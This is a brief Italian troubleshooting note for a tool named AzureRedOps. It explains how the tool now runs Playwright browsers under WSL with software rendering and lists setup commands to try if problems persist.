    • Risolto nello strumento: AzureRedOps ora rileva automaticamente WSL e disabilita l'accelerazione hardware per qualsiasi motore tu usi — Chromium ottiene --no-sandbox --disable-gpu --disable-dev-shm-usage, Firefox ottiene gfx.webrender.force-disabled / layers.acceleration.disabled — tornando al rendering software (CPU) in modo che la pagina venga comunque visualizzata e sia completamente interattiva. Ogni navigazione ora attende domcontentloaded invece di networkidle. Dovresti vedere un browser funzionante.
    • Se riscontri ancora problemi, aumenta /dev/shm (sudo mount -o remount,size=1g /dev/shm), assicurati di essere su WSL 2 con WSLg (wsl --update; echo $DISPLAY deve essere non vuoto), e conferma che il runtime del browser sia installato nel venv (python -m playwright install firefox e python -m playwright install-deps).